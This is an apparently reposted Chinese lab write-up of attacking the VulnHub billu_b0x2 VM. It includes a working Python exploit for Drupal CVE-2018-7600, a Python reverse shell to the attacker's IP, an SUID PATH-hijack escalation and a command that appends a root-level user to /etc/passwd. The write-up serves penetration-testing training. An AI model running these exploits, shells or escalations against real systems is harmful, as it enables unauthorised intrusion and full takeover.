当前位置: 首页 > article >正文

vulnhub靶场【billu系列】之billu_b0x2靶机

前言

靶机:billu_b0x2靶机,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/c524477461b0

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.10 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.10 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.10 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息探测

访问80端口界面,可以看到有搜索框,以及登录的

向下可以看到涉及到一个cms,为``drupal`,缅怀艾斯【火拳】

使用whatweb或者浏览器插件wappalyzer识别配置

whatweb http://192.168.10.10 -v

使用gobuster等工具进行爆破,发现就那么几个

gobuster dir -u http://192.168.10.10 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

把这些目录都访问,没发现什么关键信息,并且访问robots.txt文件,虽然有很多目录,但是访问后,并没效果

在访问到登录的界面时,发现有一个默认的用户名biLLu和密码hEx_it

以上面的用户名和密码尝试访问8080端口的界面,并尝试登录,发现并不行

没有了,信息结合一下。

网站采用drupal 8版本

目前,只有字典继续爆破,采用大字典,或者搜索有无历史漏洞

漏洞寻找及确定

使用searchsploit尝试搜索

searchsploit drupal 8.0

发现大部分都是msf的脚本,不过还是有三个不一样的,这里一个个测试,先测试44448.py

查看这个代码,发现关键信息,这个脚本是检测目标是否有cve-2018-7600漏洞的

下面发现关键代码,若存在会输出一个文件

执行脚本进行检测靶机,发现输出检测了,访问这个文件,确定有漏洞

漏洞利用

既然如此,可以修改这个脚本去执行一些命令。ok,现在修改payload,在原基础上,只改动了一点,接收命令

#!/usr/bin/env
import sys
import requests
import json

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')
command = input('Enter command (example: id):') 

proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': command}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
res = r.text

json_text=json.dumps(res,indent=4)
print(json_text)

那么构造一个反弹shell的命令,执行即可,测试多个命令,最终以python的反弹shell成功

export RHOST="192.168.10.6";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

可以看到成功获取到shell了,当然前面需要进行nc监听就没说

提权

再使用python加一层shell

python -c 'import pty;pty.spawn("/bin/bash")'

使用find寻找具有SUID权限的文件,发现一个陌生的明显的文件

find / -perm -4000 -print 2>/dev/null

使用file查看,发现是二进制可执行文件,并且该文件具有执行的权限

测试,发现靶机具有strings工具,那么直接查看这个文件,发现一些东西

这里可以自己执行文件测试一下,发现最后是有字符starting copy of root user files出现的。说明后面的命令会执行,也就是scp,并且注意,这里没有搞绝对路径,所以可以借助环境变量提权

cd /tmp
echo $PATH

那么修改环境变量

export PATH=/tmp:$PATH
echo $PATH

echo "/bin/bash" > scp
chmod +x scp

然后执行脚本即可/opt/s

查看/etc/passwd的权限,发现该文件具有写权限的,那么就可以添加一个具有root权限的用户,需要构造

使用openssl生成密码

openssl passwd -salt 123 -1 123

#把x改为加密后的密码,root改为随便的用户名 
root:x:0:0:root:/root:/bin/bash

pig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bash

echo 'pig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bash' >> /etc/passwd

这时候直接切换就ok

当然还有其他的,比如查看内核版本,确定是否有内核漏洞,这个很大的概率是有的

uname -r
cat /etc/*release

使用searchsploit发现还是有不少的

这里就不测试了,还可以通过上传脚本去检测,就不一一测试了。

总结

该靶机主要考察点在于CVE-2018-7600的检测与使用,主要就是poc的构造,这里要清楚的知道


http://www.kler.cn/a/595664.html

相关文章:

  • 【漫话机器学习系列】152.ReLU激活函数(ReLU Activation Function)
  • ffmpeg库视频硬解码使用流程
  • 17153. 班级活动(蓝桥杯-python)
  • 在 Kubernetes(k8s)部署过程中常见的问题
  • YOLO-UniOW: 高效通用开放世界目标检测模型【附论文与源码】
  • OpenHarmony子系统开发 - 电源管理(一)
  • JDK 24 发布,新特性解读!
  • 基于OFDM+16QAM+Turbo的车联网V2X通信系统matlab性能仿真,对比RS
  • 使用 Selenium 控制现有 Edge 窗口以规避爬虫检测
  • 如何在SQL中高效使用聚合函数、日期函数和字符串函数:实用技巧与案例解析
  • 炫酷的3D按钮效果实现 - CSS3高级特性应用
  • 大数据点燃智能制造变革之火——从数据到价值的跃迁
  • PostgreSQL_数据下载并保存(psycopg2)
  • 关于 2>/dev/null 的作用以及机理
  • github代理 | 快速clone项目
  • 云计算赛题私有云服务搭建题目
  • 【动态规划】详解混合背包问题
  • 云原生网络拓扑:服务网格的量子纠缠效应
  • 鸿蒙ArkTS+ArkUI实现五子棋游戏
  • 2025 centos系统安装docker并迁移docker,docker安装到指定的目录以及文件迁移,docker迁移文件